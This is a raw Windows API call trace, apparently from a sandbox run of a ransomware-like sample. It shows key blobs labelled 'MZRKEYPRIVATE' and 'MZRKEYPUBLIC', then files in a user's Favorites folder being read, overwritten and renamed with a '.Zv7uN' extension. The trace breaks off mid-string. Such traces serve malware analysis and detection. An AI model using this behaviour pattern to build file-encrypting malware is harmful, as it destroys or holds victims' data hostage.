HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.420] GetCurrentThreadId () returned 0xa30 [0125.421] GetCurrentThreadId () returned 0xa30 [0125.421] GetCurrentThreadId () returned 0xa30 [0125.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.421] GetCurrentThreadId () returned 0xa30 [0125.422] GetCurrentThreadId () returned 0xa30 [0125.422] GetCurrentThreadId () returned 0xa30 [0125.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.422] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.422] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.422] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.422] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.422] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.425] CloseHandle (hObject=0x1ec) returned 1 [0125.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.427] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.430] CloseHandle (hObject=0x1ec) returned 1 [0125.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.zv7un")) returned 1 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] GetCurrentThreadId () returned 0xa30 [0125.431] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0125.431] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.431] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.437] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0125.437] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x80) returned 1 [0125.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenE